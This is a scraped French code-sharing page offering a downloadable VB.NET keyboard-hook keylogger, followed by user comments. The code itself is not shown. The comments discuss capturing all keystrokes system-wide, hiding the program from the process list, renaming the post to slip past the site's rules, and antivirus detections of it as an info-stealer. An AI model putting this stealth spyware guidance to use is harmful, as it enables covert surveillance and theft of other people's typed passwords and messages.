begin process at 2012 02 13 12:28:50
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

VB.NET

 > KEYLOGGER VB.NET 2008 V9 - CLASS HOOK - POUR CLAVIER FR ET VISTA

KEYLOGGER VB.NET 2008 V9 - CLASS HOOK - POUR CLAVIER FR ET VISTA


 Information sur la source

Note :
8,67 / 10 - par 3 personnes
8,67 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10
Catégorie :VB.NET Source .NET ( DotNet ) Classé sous :Keylogger, Hook, virtual keycode, codes caracteres Niveau :Initié Date de création :25/02/2009 Date de mise à jour :02/03/2009 22:39:17 Vu / téléchargé :8 871 / 1 532

Auteur : 666Ange

Ecrire un message privé
Commentaire sur cette source (27)
Ajouter un commentaire et/ou une note

 Description

Cliquez pour voir la capture en taille normale
Voila, je récidive sur un keylogger mais cette fois il utilise le hook alors que l'ancien utilisait getasynckeystate.
Je n'ai pas supprimé l'ancien au cas ou certains aureient besoin de voir le fonctionnement.

Je m'excuse encore pour le manque de commentaires dans la source c'est une mauvaise habitude chez moi, j'ai essayé quand meme de faire un minimum...

Comme d'habitude je livre un squelette, il vous reste a implanter vous meme les fonction pour l'ecriture dans un fichier au format htm et en agrémentant de couleur les touches [], c'est assez facile...

Programme conçu pour detecter les clavier FR mais rien ne vous empeche de modifer ma liste et ca marchera pour d'autre claviers...

Si vous rencontrez des bug divers merci de m'en faire part.

En esperant que cette source vous aide à quelque chose...

Cordialement,
Sylvain.


 Conclusion

Je pense que tout est terminé, les fonctions de detection d'accents et de caracteres spécaix, bugs corrigés, mis en class comme suggéré.

 Fichier Zip

Les Membres Club peuvent télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip


 Historique

25 février 2009 02:10:09 :
Un oubli de précision...
02 mars 2009 22:36:55 :
Mise à jour importante, Accents et caraceteres spéciaux
02 mars 2009 22:39:17 :
Mis à jour tres importante.

 Sources du même auteur

Source avec Zip Source avec une capture Source .NET (Dotnet) KEYLOGGER UN PEU PLUS INTELLIGENT VBA.NET VISUAL STUDIO 2008...

 Sources de la même categorie

Source .NET (Dotnet) MODIFICATION DATE DE WINDOWS EN VB.NET ET VBA par us_30
Source avec Zip Source avec une capture Source .NET (Dotnet) ENVOI DE MAIL AVEC PIÈCE JOINTE par EhJoe
Source .NET (Dotnet) AMUSONS NOUS AVEC UN LABEL ^^ par Adn56
Source avec Zip Source avec une capture Source .NET (Dotnet) UN NAVIGATEUR INTERNET EN VB.NET par azrti
Source avec Zip Source .NET (Dotnet) CONVERSION DE DEVISE MONAITAIRE VIA UN SERVICE WEB par bigmonkey7

 Sources en rapport avec celle ci

Source avec Zip Source avec une capture EXEMPLE D'UN HOOK TRANSPOSÉ VERS DU SUBCLASSING par Philippe734
Source avec Zip Source avec une capture Source .NET (Dotnet) REMOTE KEYLOGGER par elguevel
Source avec Zip Source avec une capture AGITATOR - MACRO UNIVERSELLE par exode42
Source avec Zip Source avec une capture EXTENDED COMMON DIALOG CONTROL- BOITE DE DE DIALOGUE COMMUNE... par medkarim
Source avec Zip INTERCEPTER L'APPUI DE TOUCHES AU NIVEAU SYSTÈME par Fixnyl

Commentaires et avis

Commentaire de 666Ange le 25/02/2009 02:15:15

N'hesitez pas a faire toute sorte de commentaires ou de démolition...

Commentaire de 666Ange le 25/02/2009 03:18:01

Pour le pb de la capture du titre d'application c'est résolu,

Je viens de penser qu'il faut que j'ajoute une capture des accents comme ^¨`~ ca va pas etre compliqué mais il faut que je m'y mette...

Commentaire de ciberrique le 25/02/2009 13:31:33

Salut, petit conseil change le titre de ton source car il me semble que les keyloggers sont contraires à la charte code source donc tu risques de voir ta source supprimé.

Concernant les hook il semble qu'il est possible de les detecter en affichant les handles des processus et du coup on peut verifier si c'est un hook ou pas enfin c'est toujours plus compliqué qu'avec getAsyncKeyState.

Pour aller plus loin tu pourras cacher ton programme de la liste des processus.

Commentaire de 666Ange le 25/02/2009 15:08:39

Bon bein tant qu'a faire je vais faire une mise a jour tenant compte des caracteres accentués de la génération de fichier et de le cacher de la liste des processus

Commentaire de The Meteorologist le 26/02/2009 21:15:21 9/10

Premier Hook du clavier en dotnet qui marche en sur VBFrance. Très utile merci beaucoup =)

Une petite suggestion : puisque ta source est plus orientée KeyLogger, ce serait super qu'il prenne en compte les BackSpace et la position du curseur d'insertion grâce aux flèches de gauche et droite de manière à avoir le texte réellement tapé par l'utilisateur.

Un peu comme cette source en VB6 :
http://www.vbfrance.com/codes/KEYLOGGER-INTELLIGENT_6937.aspx


Commentaire de 666Ange le 28/02/2009 00:12:36

@The Meteorologist : C'est une tres bonne idée mais je ne peux pas consulter cette source, peux tu m'indiquer d'apres ce programme que tu as déja du tester si il tient conte du déplacement du Caret par la souris, dans ce cas je m'arrangerai pour le faire aussi, ou uniquement par les touches de direction.

Je viens de termnier qq etapes supplémentaires, je vais conclure par une mise en apparence HTML voir ce que ca donne et je met bientot la source a jour dispo ici

Commentaire de The Meteorologist le 28/02/2009 20:10:26

Je n'ai plus VB6 mais à ma connaissance cette source rendait exactement ce que l'utilisateur tapait. Enfin avec la souris ça devient un peu chaud à coder je pense. Prendre en compte les BackSpaces, les retours chariots et les flèches serait déjà très intéressant pour un KeyLogger...

Commentaire de 666Ange le 28/02/2009 23:29:28

Que se passe t il dans le cas d'un texte multiligne et que j'utilise les fleches haut bas ? je n'ai pas l'information CaretPos ou CurPos... moi non plus je ne peux plus afficher de vb6...

Commentaire de neo2k2 le 02/03/2009 17:50:57

Excellente source et très bonne amélioration comparée à l'ancienne version qui utilisait beaucoup de temps processeur inutilement. Je suis en train de m'en servir pour un usage personnel afin d'avoir plus de fonctions...

Commentaire de Yaurthek le 02/03/2009 18:24:11 9/10

Salut, très bon programme, fonctionne niquel (même si perso je vois pas bien la différence entre cette méthode et l'API getasynckeystate...)
je met 9 car ça aurait encore été mieux avec une classe toute faite prête à utiliser et tout et tout^^

J'en profite aussi pour signaler une faute de frappe ligne 385 du fichier Form1.vb (555 au lieu de 155) même si ça ne gène pas le fonctionnement du prog.

Commentaire de 666Ange le 02/03/2009 22:47:16

Voila, j'ai terminé le keylogger, chez moi evidemment il n'a pas la forme que partagé ici mais je pense que vous saurez quoi en faire. J'en ai fait une class, merci de la suggestion ca me facilitera aussi les choses. Il ne devrait plus y avoir de bugs, les accents sont gérés et les codes spéciaux ALT + Codes aussi.
ne vous étonnez pas de trouver une grosse variable pour les codes ANSI j'ai préféré faire ainsi.


@The Meteorologist : j'ai beaucoup réfléchi et simuler le deplacement du CaretPos n'a pas d'interet car dans une meme fenetre on peut avoir plusieurs zones de texte et il m'est encore impossible pour l'instant de différencier la zone (meme si c'est faisable par leur identifieur) sauf que ca se complique tres fortement en cas de déplacement du Caret par la souris ou par les fleches haut et bas...


@ UN ADMIN : SVP pourquoi ce code source je ne le voit pas quand je recherche keylogger ? je suis obligé de passer par l'ancien et de reprendre le lien...


Commentaire de The Meteorologist le 02/03/2009 23:05:21

Yaurthek : La différence avec l'api GetAsyncKeyState est énorme. Le hook consiste à faire passer une fonction comme un sorte de maillon. C'est à dire que dés qu'une touche sera pressée ta fonction sera directement appelée et passera ensuite les informations au prochain maillon, cela peut-être windows lui même comme cela peut être un autre hook. Avec GetKeyAsyncState on ne fait que vérifier l'état de toutes les touches. Ce n'est pas très propre et surtout radicalement moins performant ;)

666Ange : Je ne connais pas la solution miracle pour avoir le texte réellement tapé ... Pourtant bon nombre de keyloggers y parviennent. Enfin je ne pense pas que ce soit réellement indispensable pour ton code le hook fonctionne c'est déjà très bien ^^

Commentaire de Yaurthek le 03/03/2009 20:34:14

Ok merci de cette petite explication The Meteorologist, j'avais effectivement noté qu'un appui trop rapide n'était pas pris en compte avec l'API GetAsyncKeyState  :)

Commentaire de aKheNathOn le 05/03/2009 10:27:03

Source sympa, dommage que l'interception des caractères ne se traduise pas une gestion d'événements, libérant ta classe de la gestion du log et permettant de mieux la réutiliser dans un autre projet.

Commentaire de jeremydepr le 21/09/2009 21:30:14

Il n'est compatible qu'avec Vista ? Car moi sur XP ça ne marche pas (message d'erreur )
Moyen de le rendre compatible sur XP en important les dll ?

Commentaire de Renfield le 22/09/2009 10:31:04 administrateur CS

"(message d'erreur )"

Il peut etre utile de l'indiquer, non ?

Commentaire de neo2k2 le 22/09/2009 11:06:06

@Jermeydepr (& Renfield) :
Marche très bien sous XP à condition d'avoir la bonne version de .net framework et studio... ^^ Donc comme le dis Renfield, indique le message complet.

Commentaire de Mathieu1979 le 08/02/2010 20:56:35

Lorsque le timer tick la fonction appelée exécute l'opération suivante:
TextBox1.Text &= KL.KeyLog

J'ai essayé à partir de cette ligne de dirigé Kl.keyLog vers un fichier avec le objWriter.Write(KL.KeyLog) par exemple, mais sans succès. Même debug.print(Kl.keyLog) génère une exception. J'aimerais avoir un peu plus d'information sur KL.KeyLog.

Merci

Commentaire de NikatorS le 06/04/2010 00:39:12

Super ! Bien jouer !

Commentaire de mp280272 le 23/06/2010 10:29:05

Bonjour,

Cette source est intéressant, par contre un hook clavier doit permettre de capturer les touches du clavier hors de l'application celui-ci ne capture pas les touche saisie sous word ou autre applications.

le hook doit être global, je pense !!.

a+

Commentaire de Iznogood1 le 08/11/2010 10:00:43

Super.
Je log bien les touches (même saisie sous word).

J'ai juste ajouté un évènement
   Public Event ToucheFrappée(Touche As string)
dans ta classe HKkb

L'évènement est appelé dans KeyboardCallback
   RaiseEvent ToucheFrappée(KeyLog)


Ce qui permet de supprimer le Timer de ta From1 en ajoutant "WithEvents" à ton objet KL et en ajoutant le code suivant

  Dim WithEvents KL As New HKkb
  Private Sub KL_ToucheFrappée(ByVal Touche As String) Handles KL.ToucheFrappée
    TextBox1.Text &= Touche
    KL.KeyLog = ""
  End Sub

Commentaire de Dean76 le 11/01/2011 18:25:19 8/10

Bravo ! marche super sur Windows 7

Commentaire de neo2k2 le 13/01/2011 14:19:49

Excellente source! ^^

@Iznogood: tes modifications sont vraiment bonnes, la seule remarque que je me permette de te faire est de ne pas coder avec des accents car c'est une horreur après pour s'y retrouver et cela peut être source d'erreurs quand on oublie de les mettres.

Commentaire de Iznogood1 le 15/01/2011 14:59:07

En effet, pas top les accents :)

Commentaire de the_new_guy le 21/01/2011 21:57:54

normal que l'anti virus se déclenche ? (trojan & co )

Commentaire de Iznogood1 le 25/01/2011 21:34:01

Quel AV ?

Commentaire de HEXAMOUSE le 27/03/2011 20:14:14

Bon programme, mais Norton trouve 2 problémes aprés analyse : InfoStealer et un trojan Backdoor aprés la décompilation, alors à tous, attention à la suite.....

 Ajouter un commentaire


Discussions en rapport avec ce code source dans le forum

Hook du clavier [ par Icem@n ] quelqu'un a t'il les source d'une DLL qui permets de faire un HOOK sur le clavier : setwindowshookexMerci d'avance Minuterie à la OGC-Hook ? [ par Clem ] Bonjour, je voudrais savoir comment faire un compteur pour la minuterie de la bombe comme dans OGC-Hook dans Counter-Strike.Je voudrais pouvoir avoir Keylogger Caption [ par uaxob ] Salut tous ! Voilà j'ai un petit probleme : j'ai fait un petit keylogger banale qui enregistre se qu'on tape dans un .txt .Et je voudrais, q'au lieu q Hook sur "Page Setup" de Iexplore [ par moustachu ] Bonjour,Je voudrais faire un Hook sur la boite de dialogue "Page Setup" de Internet Explorer afin de lui envoyer un message. J'ai cru comprendre qu'il Ligne de commande appli vb? [ par pcpunch ] Bonjour je suis en train de me faire une petit keylogger et je voudrais le faire demarrer avec windows!! pour ca pas de probléme j'ecrit dans le regis hook clavier pour remplacer un caractere par un autre [ par juju62611 ] j'ai mis en place dans mon doce vb un hook sur le clavierafin de remplacer A par Ble probleme est que je ne sais pas comment annuler le Aj'ai donc AB


Nos sponsors


Sondage...

Comparez les prix

CalendriCode

Février 2012
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
272829    

Consulter la suite du CalendriCode

Photothèque

 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 1,888 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales